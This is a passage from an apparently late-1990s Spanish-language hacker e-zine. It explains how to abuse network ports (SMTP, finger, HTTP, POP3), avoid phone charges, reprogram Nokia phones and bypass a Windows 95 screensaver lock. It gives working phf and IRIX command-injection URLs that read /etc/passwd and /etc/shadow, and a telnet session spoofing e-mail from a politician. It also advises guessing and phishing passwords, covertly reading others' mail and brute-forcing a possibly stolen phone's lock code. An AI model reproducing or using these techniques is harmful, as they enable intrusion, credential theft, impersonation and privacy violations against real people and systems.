		RENAME --> Indica el nombre del fichero a renombrar.
		BELL --> Suena el altavoz cada vez que acaba la ejecucion de
		         un comando.
		SITE --> Este comando es usado por el servidor para proveer 
		   	 servicios especificos al sistema que son esenciales, 
		   	 pero no suficientemente universales para ser incluidos
		   	 como comandos en el estandar del protocolo.
		SYSTEM --> Nos da informacion sobre el sistema operativo al
			   que estamos conectados.
		STATUS --> Nos da informacion sobre el status del sistema.

         Existen muchos mas comandos (dependiendo del sistema) pero estos son
         los mas importantes (espero no haberme dejado ninguno).

       * Estilo hacker
         -------------
         La forma de acceder es distinta, pero vamos a llegar al mismo sitio.
         Podemos hacer telnet al puerto 21 y movernos por el sistema de forma
         identica, con los comandos descritos anteriormente.


                        """"""""""""""""""""
                        " PUERTO 25 (SMTP) "
                        "                  "
                        """"""""""""""""""""
     - Utilidad
       =-=-=-=-

       Podemos aprovecharlo de distintas formas, bien para enviar correo de
       forma anonima, o si la version de 'sendmail' utilizada tiene bugs,
       hasta puede que consigamos modificar el .rhosts de algun usuario (como
       el root, por ejemplo) o conseguir el shadow del sistema.

     - Formas de explotarlo
       =-=-=-=-=-=-=-=-=-=-

       * Estilo newbie
         -------------
         Solo has de cambiar la configuracion de tu programa de correo. Para
         ello debes modificar el nombre del servidor de SMTP y las direcciones
         de correo que tenemos en la identificacion de usuario y en el retorno
         (reply-to address). Estos son los cambios:

                POP3 Server: (no hace falta que lo modifiques)
                SMTP Server: algun.servidor.de.smtp.com
                POP3 Username: (no hace falta que lo modifiques)

                E-mail address: supercoco@hacker.com
                Reply-to address: supercoco@hacker.com

         Lo que estamos haciendo es enviar correo como si fueramos el usuario
         supercoco@hacker.com desde el servidor algun.servidor.de.smtp.com.
         Al destinatario le aparecera mas o menos esto:

                Return-Path: <supercoco@superplanet.com>
                Received: from algun.servidor.de.smtp.com ([208.156.39.193])
                by su.servidor.de.smtp.com (Netscape Mail Server v1.1) with
                SMTP id AAA13275 for <pardillo@su.servidor.com>; Sun, 1 Feb
                1998 17:45:27 +0100

                 Subject: Esto es un mensaje falso ...
                    From: supercoco@superplanet.com
                Reply-To: supercoco@superplanet.com
                      To: pardillo@su.servidor.com

                Y aqui va el mensaje ...

         Si te fijas en lo de abajo (a partir del subject), veras que le hemos
         enviado un mensaje con un remitente que no somos nosotros. Pero si
         miras mas arriba podras observar que aparece nuestra direccion IP.
         Ohhh ... nos pillaron. Esto es debido a que el servidor que hemos
         usado para enviar el correo (en este caso: algun.servidor.de.smtp.es)
         refleja la IP de todo aquel que envia a traves de el. Para solucionar
         esto debemos encontrar uno que no refleje la IP). Si miras en numeros
         anteriores de este zine podras ver listados de servidores. Pero, si
         deseas alguno que no conozca mucha gente, deberas probar 'a huevo'.
                
         Date cuenta de que si escribes mal su direccion de correo nunca te
         podras enterar, dado que la direccion de 'reply' es de otra persona,
         o inexistente (como en este caso: supercoco@hacker.com ... o puede
         que exista  X-D  ).

       * Estilo hacker
         -------------
         Si entras con telnet deberas utilizar unas determinadas ordenes para
         moverte por el sistema. Esto tiene varias ventajas:
         1) Cuando conectas te dice la version de sendmail (o cualquier otro
            protocolo que utilice). Con lo cual puedes buscar en nuestra
            seccion de bugs  :D  por si esa version tiene alguno (seguro que
            si).
         2) Una vez conectado puedes escribir HELO (o HELO user) con lo que el
            te respondera con un mensaje de bienvenida, mostrandote o no, tu
            direccion IP; en caso de que te la muestre ... busca otro (si tu
            fin solamente era enviar correo falso - o fake mail).
         3) No necesitas reconfigurar tu programa de correo  :)

         Para poder moverte por el sistema debes usar los siguientes comandos:

                HELP --> Mensaje de ayuda (no esta disponible en todos los
                         sistemas).
                HELO hostname --> En algunas versiones esto es necesario para
                                  poder ejecutar el resto de comandos. En
                                  'hostname' puedes poner cualquier cosa.
                MAIL FROM: usuario --> 'usuario' es el remitente, el que
                                       quieres falsificar.
                RCPT TO usuario --> 'usuario' es el destinatario. A donde vas
                                    a enviar el mail.
                VRFY direccion --> Verifica el reparto de mail de una
                                   direccion.
                EXPN direccion --> Expone la direccion de una lista de correo.
                DATA --> Nos permite escribir el texto a enviar. Acaba con un
                         punto.
                RSET --> Interrumpe la transmision.
                NOOP --> No hace nada. Sirve para ver si seguimos conectados
                         o no.
                DEBUG nivel --> Fija el nivel de de debugging.
                QUIT --> Terminar. Cerrar la conexion.

       Si tu unica intencion es hacer fake mail, puedes usar algun programa
       destinado a ello (hay muchisimos); incluso un mailbomber te serviria
       (diciendole que solo deseas enviar uno). En estos programas solo has
       de especificar:

                Servidor de SMTP (muy importante que no refleje tu IP).
                Direccion de correo del remitente (la falsa, claro).
                Direccion de correo del destinatario (la victima).

       Para hacer fake mail desde telnet haz lo siguiente: (lo que esta
       seguido de numeros es la respuesta del servidor)

                telnet microsoft.com 25
                220 microsoft.com Microsoft Sendmail 1.0 ready at Sat, 2-1-98
                HELO supercoco
                250 <microsoft.com> Hello supercoco
                MAIL FROM: aznar@moncloa.es
                250 <aznar@moncloa.es> ...Sender OKay
                RCTP TO: gonzalez@psoe.es
                250 <gonzalez@psoe.es> ...Recipient OKay
                DATA
                354 Enter mail, end with "." on a line by itself
                No no no!!!  no me pienso ir seor Gonzalez!!!
                .
                250 Mail accepted
                QUIT
                221 microsoft.com closing connection.


                        """"""""""""""""""""""
                        " PUERTO 79 (FINGER) "
                        "                    "
                        """"""""""""""""""""""
     - Utilidad
       =-=-=-=-

       Conseguir mucha informacion sobre usuarios. Cuando hacemos un finger
       podemos obtener algo asi:

                login           datos personales        tipo de shell
                -----           ----------------        -------------
                victima         Antonio Botella         /bin/bash

                last log 23 Feb (o, user never log)

       Como ves, podemos llegar a conseguir sus datos personales, tipo de
       shell que usa, ultima conexion que hizo, login (y direccion de correo),
       ... Esto puede servirte, entre otras muchas utilidades, para intentar
       adivinar su password (ya que mucha gente usa contraseas tan simples
       como su login, combinaciones de su nombre y apellidos, ...). O tambien
       puedes usar algo de ingenieria social para obtener su contrasea, bien
       enviandole un mail falso a victima@su.servidor.com 'persuadiendole'
       para que te de su password o puedes buscar su nombre en la guia y hacer
       una llamada telefonica haciendote pasar por su proveedor de Internet.

     - Formas de explotarlo
       =-=-=-=-=-=-=-=-=-=-

       * Estilo newbie
         -------------
         Puedes hacer usar la orden finger para solicitar la informacion
         deseada:

                finger victima@su.servidor.com

        En algunos servidores podras hacer:

                finger @su.servidor.com  (sin especificar el usuario)

        Asi te saldran todos los datos de los usuarios que estan conectados
        al servidor en ese momento. Tambien puedes escribir:

                finger 0@su.servidor.com

        Y obtendras ...

        Si no conoces el login de ningun usuario puedes probar 'a ciegas' para
        obtener alguno. Solo has de ir probando nombres, y si alguno de ellos
        es un login o esta en los datos personales de algun usuario, te lo
        mostrara. Si por ejemplo escribimos:

                finger juan@su.servidor.com

        Puede que nos salga:

                login           datos personales        tipo de shell
                -----           ----------------        -------------
                juan            J. Antonio Perez        /bin/bash

                last log 20 Feb

        O tambien:

                login           datos personales        tipo de shell
                -----           ----------------        -------------
                jjose           Juan Jose Sanchez       /bin/csh

                last log 2 Feb

        Debes de tener muy en cuenta de donde es el servidor, porque si es uno
        de Japon, no te servira de nada probar nombres espaoles o alemanes.

        Los usuarios que suelen estar en todos los sistemas son: root, admin,
        postmaster, webmaster, ...

       * Estilo hacker
         -------------
         Para hacer esto por telnet has de especificar el puerto 79, de forma
         similar o los casos anteriores. Una vez conectado, escribe el nombre
         del usuario, una @, o un 0. Los resultados son los mismos que en la
         forma newbie.


                        """""""""""""""""""
                        " PUERTO 80 (WWW) "
                        "                 "
                        """""""""""""""""""
     - Utilidad
       =-=-=-=-

       Este servicio es el que nos permite ver las paginas Web. Nosotros
       podemos aprovecharlo, mas que nada, para conseguir el shadow (mediante
       los bugs del 'phf') o tambien para modificar el .rhosts de algun
       usuario (consultar seccion de bugs & exploits).


     - Formas de explotarlo
       =-=-=-=-=-=-=-=-=-=-

       * Estilo newbie
         -------------
         Puedes probar los bugs del 'phf' que aparecen en la seccion de bugs.
         Este tipo de bug ya ha sido comentado en numeros anteriores de este
         zine, pero lo volvere a escribir:

         Para capturar el passwd:
            http://www.host.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/passwd

         Para capturar el shadow:
            http://www.host.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/shadow

         Como no se pueden escribir ni espacios ni finales de linea (ENTER),
         debemos escribir su codigo ASCII (el '0a' es el ENTER y el '20' es el
         espacio, ambos en hexadecimal). Para indicar que es ASCII debemos
         escribir antes un '%'. Si usas tu imaginacion podras ejecutar muchos
         mas comandos del sistema que te podrian ser utiles para conseguir
         mucha informacion.

       * Estilo hacker
         -------------
         Accedes por telnet al puerto 80 y usas alguno de estos 3 comandos:

                GET (consigue informacion del cliente al servidor).
                PUT (pregunta al servidor si acepta la informacion como
                     reemplazo del objetivo).
                POST (pregunta al servidor si acepta la informacion pasada
                      del cliente como una especificacion del objetivo).

        Si no escribes la orden correctamente, te cerrara la conexion. Como
        ves, esta bastante restringido, pero te sirve para explotar algunos
        bugs de ese protocolo (HTTP/1.0).

        Como ejemplo pondre un conocido (y antiguo) bug que funciona (si no
        esta parcheado) en algunos sistemas IRIX:

          GET /cgi-bin/handler/fichero_falso;cat   /etc/passwd|?data=Download

        El cgi-bin/handler permite la lectura y escritura de ficheros, pero
        tiene un ligero problemilla que se le paso a sus programadores, y es
        que cuando intenta abrir el fichero especificado (en este caso seria
        'fichero_falso') y no lo encuentra (se supone que ese archivo no esta
        en el sistema), ademas de darnos un mensaje de error, pasa a ejecutar
        la seguiente instruccion que se encuentra (en este caso, el 'cat').
        De este modo podremos ver el /etc/passwd del sistema. Tambien se
        pueden utilizar otros comandos ademas del cat. Usa tu imaginacion.
        Pero debes tener en cuenta que el script no admite espacios, por lo
        que cada vez que necesites escribir uno, deberas usar el tabulador
        (TAB).


                        """""""""""""""""""""
                        " PUERTO 110 (POP3) "
                        "                   "
                        """""""""""""""""""""
     - Utilidad
       =-=-=-=-

       Leer el correo de algun usuario. Para ello has de tener el login y el
       password, logicamente. Es ideal para espiar y recopilar importante
       informacion (segun el usuario) sobre ese sistema u otro. O simplemente
       para ver sus trapicheos con el intercambio de fotos guarras.   ;)

     - Formas de explotarlo
       =-=-=-=-=-=-=-=-=-=-

       * Estilo Newbie
         -------------
         Solo has de cambiar la configuracion de tu programa de correo. Para
         ello debes modificar tu login por el suyo y tu direccion de pop3 por
         la suya. Y claro, usa su password. Debes realizarlos siguientes
         cambios:

                POP3 Server: mail.serverhackeado.com
                SMTP Server: (no hace falta que lo modifiques)
                POP3 Username: pardillo

        Y cuando te lo pida, introduces el password del usuario en cuestion.
        No olvides, antes de nada, configurar tu programa de correo para que
        deje los mensajes en el servidor (en vez de borrarlos) ya que el
        propietario de la cuenta podria darse cuenta de que le alguien le lee
        el correo.

      * Estilo hacker
        -------------
        Si eres un verdadero hacker puedes acceder al puerto 110 mediante
        telnet, de forma similar a la que he indicado en los casos anteriores.
        Si optas por esta opcion deberas conocer cuales son los comandos
        necesarios para 'moverte' por el sistema.

        Antes de nada debes especificar el nombre y la contrasea del usuario:

                USER pardillo
                PASS miClave    (la del pardillo, claro!!!!!)

        Si lo has hecho bien, ya estas dentro. Este protocolo no dispone de
        ayuda, asi que no te molestes en escribir HELP. Pero para eso esta el
        tito Guy, para decirte cuales son lo comandos que debes usar. De
        todos modos, algunas versiones te muestran todos los comandos al
        introducir algun caracter erroneo. No te dice para que sirve cada
        orden pero por lo menos te muestra todas las disponibles.

                STAT --> Nos dice el numero de mensajes que hay en el buzon y 
                         el tamao en bytes que ocupan.
                LIST --> Similar al anterior pero nos muestra el tamao de
                         cada mensaje (no en conjunto).
                RETR num --> 'num' es el numero de mensaje que queremos leer.
                             Nos lo mostrara por pantalla.
                TOP num nLin --> 'num' es, al igual que antes, el numero de
                                 mensaje que queremos visualizar, y 'nLin' es
                                 el numero de lineas que queremos que nos
                                 imprima (por si no queremos verlo entero.
                                 Tambien es util porque a veces el mensaje no
                                 podemos verlo todo debido a que no cabe en
                                 pantalla y con el scroll lo perdemos).
                DELE num --> 'num' vuelve a ser el numero de mensaje. Con este
                             comando, lo borraremos. Cuidadin ...
                RSET --> Chequea el buzon en busca de mensajes nuevos.
                HOST dir --> 'dir' es la direccion del host al que quieres 
                             acceder (creo).
                LAST --> 
                MBOX file --> 'file' es el nombre de un buzon al que quieras
                              acceder (creo).
                NOOP --> 
                QUIT --> Salir  :)

 Esto es todo ... otro dia seguiremos analizando mas puertos  ;)

                                               - - -     
                                                             GuyBrush 
                                               guybrush@cyberdude.com 
                                                   - - - 

 zZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZ
 Quieres enviar Faxes por el morro? lee bien este articulo ...
 zZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZ

 6 - PHREAKING CELLULARS
 ~~~~~~~~~~~~~~~~~~~~~~~
                   --------------
                   |  -------   |
                   |   SMS-fax  |
                   |   -------- |
                   --------------
                  PHREAKING CELLULARS



           --------------------------------
           -Servidores SMS gratiX....
                                                By SlimeLORD+
                                                ECLIPSE GROUP

--------------------------cut------------------------------------------------
        Hola again vuelvo de nuevo para sacar otro trukito pa la
        mejor revista, ejem! la vuestra.
--------------------------cut------------------------------------------------

        SECTION FILE, scanning...
        AUTHENTIFICATION REQUIRED
        login: *****
        pass:  *******
        OK entered PENTAGONON
        IP accesible confirmed
        Wellcome Clinton! (SlimeLORD RuleZ)


        Aqui llego de nuevo en esta serie de articulos para que
        veais lo facil que podeis mandar tanto MENSAJES CORTOS
        como FAXES a cualquier telefono del mundo a traves de
        un telefon GSM que permita mandar datos...

        En Espain cobran 5 duros por mandar un mensajito de estos
        pero si usamos un servidor extranjero pues mira por donde,
        no llegara ninguna facturilla jeje...

        Aqui os pongo unos cuantos para disfrute vuestro:

     x  +3409090909  upS! este no vale, ya me lo habeis chaFao (T) (cobra)

     v  +352021100003  permite enviar tato FAXES como SMS, quizas tambien
        permita -solo en GSM que lo soporten- enviar e-mails....

     v  +436640501  otro solo sms

     v  +27831000006 y otro...

     v  +420602909909 para mi el mejor CON DIFFERENCE , eficaz y el MAS
        rapido de todos, pues ademas te da recibi de cuando ha llegado a
        su destino y es gratiX.

       Bueno hasta la proxima, intentare escribir mas tecnicamente....! UmmF!

                                                        SlimeLORD@Hotmail.Com


------------------------cut--------------------------------------------------


       Que hay hermanos?
       Que les parecio el invento? Bueno no es nada con el articulo
       que estoy escribiendo sobre telef- GSM NOKIA y MOTOROLA
       para poder hacer diablras con ellos, solo que me gustaria
       me hecharan un cable pues no dispongo de ellos y la
       informacion solo es un poco una recopilacion de los mejores
       trukitos para la makina, osea ke ... Bueno de todas formas las pondre
       a vuestra disposicion para que la inserten donde quieran en
       la revista, sin mas coordiales saludotes! desde la Spain!
       Hare Chrisna!
       SlimeLORD@HOTMAIL.com

----------------------cut----------------------------------------------------

 ()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
 Si tienes un Nokia, no hace falta que te mires el largo y aburrido manual,
 esto es mucho mas interesante ...
 ()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()

 7 - PROGRAMING CELLULARS
 ~~~~~~~~~~~~~~~~~~~~~~~~
                   --------------
                   |  -------    |
                   | PROGRAMMING |
                   |   --------  |
                   --------------
                  PROGRAMMING CELLULARS



           --------------------------------
           -Algunos Modelos NOKIA....
                                                By SlimeLORD+
                                                ECLIPSE GROUP


 Hola gente, aqui os he reopilado alguna informacion para la gente de
 NOKIA, si si, os muestro la forma de programar los moviles, para que
 la gente pueda retocar las funciones y asi ahondar mas en las
 "posibilidades" del movil, el autor de toda esta informacion mostrada 
 no se hace responsable, solo alega que es de proposito educacional,
 y que cada cual la interprete de la mejor forma posible.


**************************************
* MODELO NOKIA/MOBIRA P4000 & PT612  *
**************************************

NOTA:   Estas son unidades NAM duales
        El prefijo ESN es 165 en decimal y A5 hex.
        Nokia: 813-536-5553

PROGRAMACION DE LA NAM:

1.  Enciendelo.

2.  Entra * 3 0 0 1 # S S S S S SEL 9 END donde SSSSS es codigo de seguridad
    1 2 3 4 5 es el defecto de fabrica.

3.  Si la entrada fue corecta pondra "IdEnt IF InFO Pri"

Saltate al paso 7 para programarla NAM 1, o completa de 4 - 6 para encender
la NAM 2.

4.  Presiona SND para poner "IdEntif InFO OPT"

5.  Pulsa END y pondra "OPt InFO diSAbLEd"

6.  Pulsa SND y pondra "OPt InFO EnAbLEd"

7.  Pulsa END, la primera entrada de datos aparecera.

8.  SND se usa para cambiar parametros digitales solo.

9.  Pulsa END para almacenar e incrementar cada paso.

10. En cualquier momento pulsa SEL CLR para salir del programa.


DATOS DE PROGRAMACION

PASO#    #DE DIGITOS/RANGO   EN PANTALLA    DESCRIPCION


01       00000 - 32767       HO-Id          ID SYSTEM
02       0 OR 1              ACCESS         MARCA MIN 
03       0 OR 1              LOCL OPt       LOCAL USE MARK
04       10 DIGITS           Phonxx         MIN (AREA CODE & TEL#)
05       08 ONLY             St CLASS       STATION CLASS MARK
06       333 OR 334          PAging Ch      INITIAL PAGING CHANNEL
07       2 DIGITS            O-LOAd CLASS   ACCESS OVERLOAD CLASS
08       A OR B              PrEF SyS       PREFERRED SYSTEM (SND TOGGLES)
09       2 DIGITS            grOUP Id       GRUPO ID (10 EN USA)
10       5 DIGITS            SECUrity       CODIGO SEGURIDAD (DEJAR EN 12345)
11       8 DIGITS            SERIAL NUMBER  NO CAMBIAR
12       MM/DD/YY            1 dAtE         NO CAMBIAR
13       MM/DD/YY            2 dAtE         FECHA DE INSTALACION


    *****************************
    *  MODELO NOKIA LX11 & M11  *
    *****************************


NOTA:   Estas son unidades NAM duales
        El prefijo ESN es 165 en decimal y A5 hex.
        Nokia: 813-536-5553

PROGRAMACION DE LA NAM:

1.  Enciendelo.

2.  Pulsa * 3 0 0 1 # S S S S S SEL 9 END donde SSSSS es el codigo de seguridad
    1 2 3 4 5 es por defecto de fabrica.

3.  Si lo de arriba es correcto pondra "IdEnt IF InFO Pri"

Pasa al paso 6 para programar la NAM 1, o sigue 4 & 5 para cambiar a NAM 2.

4.  Pulsa SND y pondra "OPt InFO diSAbLEd"

5.  Pulsa SND y pondra "OPt InFO EnAbLEd"

6.  Pulsa END, y saldra la primera entrada de datos.

7.  Pulsa END para almacenar e incrementar cada paso.

8.  La tecla SND cambia la opcion digital simple.

9.  Pulsa SEL CLR para salir del programa habiendo seguido todos los pasos.


DATOS DE PROGRAMACION

PASO#    #DE DIGITOS/RANGO   EN PANTALLA    DESCRIPCION

01       00000 - 32767       HO-Id          ID SYSTEM 
02       0 OR 1              MIN Mark       MARCA MIN 
03       0 OR 1              LOCL OPt       MARCA DE USO LOCAL 
04       10 DIGITS           Phonxx         MIN (AREA CODE & TEL#)
05       08 ONLY             St CLASS       MARCA DE CLASE DE ESTACION
06       333 OR 334          PAging Ch      INITIAL PAGING CHANNEL
07       2 DIGITS            O-LOAd CLASS   ACCESS OVERLOAD CLASS
08       A OR B              PrEF SyS       PREFERRED SYSTEM (SND TOGGLES)
09       2 DIGITS            grOUP Id       GRUPO ID (10 EN USA)
10       5 DIGITS            SECUrity       CODIGO SEGURIDAD
11       MM/DD/YY            1 dAtE         NO TOCAR
12       MM/DD/YY            2 dAtE         DATO DE INSTALACION

13                           Prog done      PULSA SEL CLR PARA SALIR

BLOQUEO: SEL LCK.  DESBLOQUEO: Entra el codigo de 4 digitos.

SELECTOR DEL SISTEMA: SEL 1 luego 1 para scroll: A = A solo, b = B solo,
 S = Pref/no pref, H = Regreso solo.

 ***************************
 *MODELO NOKIA M10, TC2000 *
 ***************************

NOTA:   Estas son unidades NAM duales
        El prefijo ESN es 165 en decimal y A5 hex.
        Nokia: 813-536-5553

PROGRAMACION DE LA NAM:

1.  Enciendelo.

2.  Pulsa * 1 7 * 3 0 0 1 * L L L L *, donde LLLL es el codigo de bloqueo
    por defecto de fabrica es 1234. Si no se sabe el codigo (robado?) prueba
    a poner numeros de 4 cifras, haber si aciertas, pues tienes la
    ventaja de que a la tercera oportunidad no te bloquea el movil....

3.  Pulsa SEL para almacenar los datos y para moverte entre los nombres de
    parametros y las entradas.

4.  Pulsa CLR para corregir la entrada.

5.  Pulsa END para abortar la programacion.

6.  En cualquier momento pulsa SEL END para salir y completar la programacion
    el telefono saldra solo si tocas con el puntero todos los parametros.


PROGRAMACION DE DATOS

PASO#    #DE DIGITOS/RANGO   EN PANTALLA    DESCRIPCION

01       00000 - 32767       HO-Id          SYSTEM ID
02       0 OR 1              ACCESS         METODO DE ACCESO (MIN MARK)
03       0 OR 1              LOCAL          LOCAL USE MARK
04       10 DIGITS           Phone N        MIN (AREA CODE & TEL#)
05       08 ONLY             CLASS          STATION CLASS MARK
06       333 OR 334          PAGE ch        INITIAL PAGING CHANNEL
07       2 DIGITS            O-LOAd         ACCESS OVERLOAD CLASS
08       2 DIGITS            GrouP          GROUP ID (10 IN USA)
09       4 DIGITS            Loc CodE       CODIGO DE BLQUEO

NOTE: Se sugiere que el codigo de bloqueo sea dejado 1234, o
      los cuatro ultimas cifras del numero de telefono.


BLOQUEO: SEL LCK.  DESBLOQUEO: Entra codigo de 4 cifras.

SELECTOR DEL SISTEMA: SEL 1 cuando 1 para moverte: A = A solo, b = B solo,
S = Pref/no pref, H = Regreso solo.



       *********************
       * MODELO NOKIA 121  *
       *********************

 Para entrar en el sistema de datos pulsa *60312#12345, y luego la tecla
 M seguida de la localizacion de memoria 00 (cero, cero)

 Ahora veras "Store Not Done" en la pantalla. Usa la tecla de (R)ellamada
 seguida de las localizaciones 1, 2, 4 y 5...

El NOKIA 121 es similar a la serie 101/201 (es el mismo telefono
excepto el teclado y el software...Technophone tambien tiene un modelo
que es identico (osea que es mas baratillo el de esta marca...)
Las localizaciones 1 & 2 contienen la informacion para la NAM 1 mientras
que la 4 & 5 contienen la NAM 2. No estoy seguro en el NOKIA 121
pero para el 101/201 aqui esta la secuencia de programcion...

*3001#12345 <STO> 00  (Pone en pantalla "store not done")
RCL 01 te da el codigo del pais, llamada de emergencia y codigo de bloqueo
RCL 02 te da el numero de telefono de 10 digitos
RCL 03 te da el SYS ID (5 digitos, 3 de ellos no se ven hasta que no
       bajes hacia abajo cuando programes el telefono , el bit de acceso
       local, la marca MIN, el canal de control inicial, la clase de
       sobrecarga de acceso y el grupo ID.

Estas 3 localizaciones de memoria son para la NAM 1, y 4&5 lo son para
la NAM 2 (la localizacion de memoria  01 es comun para ambas NAMS)

                                                                 

++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Osea que aqui termina mi INFORMACION, no he querido o NO he podido
+ profundizar mas en la programacion de los NOKIAS porque NO
+ disponia de ningun modelo para hacer las pruebas, agradeceria a cualquier
+ lector de la revista que pudiese usar estos datos en sus NOKIAS para
+ que nos diera mas informacion de sus observaciones.
+ O que es lo que ha podido programar...
+
+ En todo caso tenganme en contacto en:
+ SlimeLORD@Hotmail.Com
+
+ Un saludote y hasta la proxima!
+ Que traere la programacion de la serie MOTOROLA.....
+ Y si puedo hasta la de ALCATEL,... sigan en la espera mi pana!!!
+
+                                                              SlimeLORD
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
 Aqui teneis algo de humor. Lo encontre por las news traducido del ingles. Es
 bastante original e incluso se podria decir que es el retrato robot de algun
 que otro lamer ...
 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

 8 - COMO SER UN "JAKER" EN 10 MINUTOS
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

COMO SER UN "JAKER" EN 10 MINUTOS O EN 10 LECCIONES BREVES
----------------------------------------------------------
Estimado futuro "jaker":

1) En primer lugar tu no puedes llamarte de cualquier manera si te vas
a dedicar a esto: no vale Pepe, Ramirez, Lucas o cosas asi. Debes elegir
un "nick" apropiado como Kajjin, kOrLeOnE, BronKa, ViErNeS13, o similar.

2) Tu direccion de correos no puede ser tan vulgar como la mia. Debes
buscarte algo acorde con el nick, y por supuesto mas falsa que una
moneda de 30 duros, por ejemplo: bronkaen@puticlub.com (nada de
jerarquia .es, la tuya debe ser .com, .org, u otra similar de tu
invencion (ejemplo de la vida real: "mafia@ufoplanet.com"), aunque
resulte que eres de Ceuta y uses el OUTLOOK EXPRESS.

3) Por supuesto tu no usas una computadora (joder!), ni un cerebro
electronico (esto ni de coa, por favor!), ni siquiera un ordenador. Lo
tuyo es una "maquina" que corre bajo UNIX o LINUX. Como se te ocurra
nombrar GUINDOS la cagaste pa toa la vida.

4) Tus mensajes (desde ahora "posts") al grupo, una vez redactados
"offline" los  repasas, quitas las Q y las cambias por K, asi como los
sonidos CA (KA), CO (KO), CU (KU). No sabes la impresion de duro, de
"halternatibo", de algo asi como a lo Santiago Segura, que da este
toke!... Si ademas dejas caer que te encanta INTOZIKAZION EHTILIKA,
JENOZIDAS HAGUERRIDOS... jo! eso ya es la hostia...
                         
5) Tu "news reader" (o sea el programejo para leer estas tonterias) es
la ultima version del "AGENT", debidamente crakeada, cuando tu no tienes
ni pajolera idea de ingles y encima el coazo de no saber como leches
marcar, bajar, responder, eliminar... En fin, todo sea por el bien de la
causa, con lo comodo que es el Netscape o el Outlook Express (spanish
version, claro)

6) Por supuesto no se te ocurra pedir nada. Tu lo sabes todo (de
momento). Cuando te consideren "guru" llega el momento de pedir el crack
del WINZIP o cualquier otra "merde" por el estilo diciendo que es "pa un
kolega jili ke usa er Guindoz"

7) En alguno de tus post debes contar que una vez te colaste en un
sistema como "root", "deduciendo" login y pasword, y que les dejaste una
hermosa "huella" de tu paso (no vayas a decir que te cagaste, que
tampoco es eso)

8) Ni se te ocurra decir que bajas soft de Paniagua, Tucows, Ethek,
Shareware, y mucho menos de Microsoft (di siempre Mocosof, que mola un
mazo). Tu esos sitios ni los visitas; te pasas horas en Islatortuga
(aunque solo sea mirando extasiado la "home page"), Kanniball, o en el
PGP (del que por supuesto tienes la ultima version). Antes molaba el
Private Idaho, pero desde que el Keanu Reeves hizo la pelicula suena un
poco amariconado, o sea por alli tampoco iras desde ahora.

9) Estas suscrito, por supuesto a todos los grupos 2600, warez,
hacking, prehaking (esto no se como s'escribe) y fucking (esto si), y
por aqui solo vienes a dar algun consejillo que nunca es alabado ni
valorado lo suficiente (snif...).

10) Contesta (manda "replys") a todos los post off topic que pidan algo
como craks, drivers, serial numbers... en el que aparezca algo asi como
"Tu eres un lamer de mierda!", o "ke t den". Ah! olvidate de
horterolas y cutremovil; tu no usas esas pijadas de "lamer", como mucho
un GSM con "tarjeta de recarga tomatica, jejeje".

Al poco tiempo te habras hecho un nombre y ya puedes empezar a pedir lo
que pide la mayoria. Veras que hay poco kacker a los que admirar, y que
lo que abunda es un puado de "marianos" que van por la vida presumiendo
de no se que...

Saludos, sus y a por ellos. O'F.

 MWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMW
 Parece que a Microsoft no se les acaban los bugs. Esta vez es en el protector
 de pantalla y ... solo para HP   :(
 MWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMW

 9 - BUG WIN95+HP
 ~~~~~~~~~~~~~~~~

-------------------------------------------------------------
--------------------BUG WIN95+HP-----------------------------
------------------12r43lOverdrive----------------------------
-----------------12r@antisocial.com--------------------------
-------------------------------------------------------------
Esta es una premisa de C-R-A-S-H.

	BUG-WIN95+HP  es el nombre que le he dado a lo que sigue.

Acceder al PC con la contrasea del protector de pantalla de Windows 95
activada? Como ustedes sabran hay muchas formas de hacer esto, una, y de la
cual hablaremos en este articulo es en las computadoras Hewlett Packard, ya
sean Brio o Vectra acupando el Extended Keyboard de HP, es decir el teclado
de botoncitos de acceso directo de HP.

He aqui como hacerlo:

Primero cuando Windows nos pida la contrasea del protector de pantalla hay
que presionar el boton con una luna y con un icono de un candadito en la parte
superior derecha del teclado. Cuando aparezca una alerta que nos indica que la
maquina va a entrar a modo dormir, etc.. le decimos que si, despues de unos
segundos presionamos la barra espaciadora y listo! tenemos la barra de
herramientas visible y lista para ser usada, lo que yo recomiendo es presionar
con el mouse el boton del logo de Windows y seleccionar el icono de ms-dos o
sino la opcion de ejecutar, (no veremos lo que pasa en el escritorio ya que el
protector de pantalla lo sigue tapando, asi que hay que ir a ciegas) despues
escribir command.com y tendremos el control  de la PC por DOS.
En dado caso que Windows tenga configurado a DOS para ejecutarse en ventana, 
simplemente presionando ALT+INTRO se ejecutara en pantalla completa.
   

Lo anterior fue probado con varios protectores de pantalla y la version mas
reciente de Windows, en varias PC's, por lo que espero funcione en versiones
anteriores de Windows y en otras maquinas.

Otra teoria es que cualquier maquina que tenga Windows95 y ademas tenga un
boton de entrar a modo dormir puede dar resultados similares a lo anterior,
pruebenlo!

12r-1998

------CRASH-------
12r Overdrive 1998
12r@antisocial.com
------------------

 
 Y ya que estamos con el Windows, aqui teneis algunos truquillos mas, pero
 esta vez para el 3.x ...
 

 10 - CAMBIAR EL LOGO DE INICIO DE WINDOWS 3.X
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

 Si quieres que tu lamentable profesor de informatica se quede con la boca
 abierta al ver una foto X al iniciar el Windows toma nota:

 Con un editor grafico crea un archivo grafico con formato RLE.
